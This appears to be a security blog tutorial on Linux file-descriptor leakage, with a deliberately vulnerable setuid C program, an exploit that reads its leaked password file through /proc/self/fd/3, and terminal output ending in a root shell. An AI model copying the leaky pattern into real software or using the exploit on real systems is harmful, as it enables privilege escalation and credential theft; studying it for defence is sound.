Linux and File descriptors leakage

When a process opens a file it creates a file descriptor which can be found at /proc/PID/fd/ these file descriptors are integers that goes as follow.

0 -> stdin

1 -> stdout

2 -> stderr

and any extra file descriptor opened will take the next number 3,4,..etc. The file descriptor can be socket, directory, symlink, FIFO and many others. A common mistake that programmers does when writing their code is forgetting to close the file descriptor after dealing with it which can cause a vulnerability that can be exploitable. e.g of vulnerable applications KDE kppp 3.x, mod_php 4.2.x, OpenSSH 5.x, stunnel < 4.35 and lighttpd 1.4.18

Lets take an example of a regular file descriptor leakage on a simple code so it’s much easier to grasp the idea. Here’s the code of getroot.c

#include
#include
#include
#include
#include

#define PASSFILE	"./password"
#define VSIZE		32

int
main(int argc, char **argv){
	FILE *fd;
	char userinput[VSIZE];
	char fileinput[VSIZE];

	if (argc != 2) {
		fprintf(stdout, "%s \n", argv[0]);
		exit(EXIT_FAILURE);
	}

	strncpy(userinput, argv[1], sizeof(userinput)-1);

	if (!(fd = fopen(PASSFILE, "r"))) {
		perror("fopen()");
		exit(EXIT_FAILURE);
	}

	fcntl(3,FD_CLOEXEC);
	fgets(fileinput, sizeof(fileinput)-1, fd);
	fileinput[strlen(fileinput)-1] = '\0';

	fprintf(stdout,"Access ");
	if(strcmp(userinput, fileinput) != 0) {
		setreuid(getuid(), getuid());
		fflush(stdout);
		fprintf(stderr,"Denied...\n");
		execve("/bin/sh", NULL, NULL);
		return EXIT_FAILURE;
	}

	fprintf(stdout,"Granted :D...\n");
	execve("/bin/sh", NULL, NULL);

	return EXIT_SUCCESS;
}
[qnix:/0x80]$ ls -la getroot password
-r-sr-x--- 1 root qnix 8966 2012-01-11 17:32 getroot
-r-------- 1 root root   11 2012-01-11 15:00 password

All it does is taking the password from the user, compares it with that in the file ‘./password’ if they’re the same then it executes /bin/sh if they’re not the same then it drops the privilege and executes /bin/sh.

What it doesn’t do is that it doesn’t close the third file descriptors which points to ./password file which we don’t have permission to read and it’s owned by root:root. The file descriptor will be leaked to the given ‘/bin/sh’ because execve() will clone the open file descriptors from the parent to the child ‘new process’ leaving the leaked file vulnerable to be read by unprivileged users.

[qnix:/0x80]$ ./getroot whatsthepassword
Access Denied...
$ cd /proc/self/fd
$ ls -la 3
lr-x------ 1 qnix qnix 64 Jan 11 17:51 3 -> /0x80/password

but still, we won’t be able to read the leaked file descriptor even though we own it. It’s because getroot read the file and seek’d from the beginning to the end. If we want to read it we have to seek to the beginning of the file descriptor then we’ll be able to read its contents. Here’s a simple code that exploits it

 

#include
#include
#include
#include

#define FD	3
#define VSIZE	256

int
main() {
	int index;
	char buffer[VSIZE];

	char cmd[VSIZE];
	sprintf(cmd, "ls -la /proc/%d/fd/3", getpid()+2);
	system(cmd);

	lseek(FD, 0, SEEK_SET);
	while((index = read(FD,buffer,VSIZE-1)) != 0 && index > 0) {
        	buffer[index-1] = '\0';
        	fprintf(stdout,"[+] Password : %s\n", buffer);
		return EXIT_SUCCESS;
        }

	fprintf(stderr,"[-] Password not found\n");
	return EXIT_FAILURE;
}

So lets try it

[qnix:/0x80]$ gcc exploit.c -o exploit
[qnix:/0x80]$ ./getroot somepassword
Access Denied...
$ ./exploit
lr-x------ 1 qnix qnix 64 Jan 11 18:01 /proc/29413/fd/3 -> /0x80/password
[+] Password : Asdsa123#!@$$ASz
$ ./getroot Asdsa123#!@$$ASz
Access Granted :D...
# whoami
root

Leave a Reply

Your email address will not be published. Required fields are marked *


*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>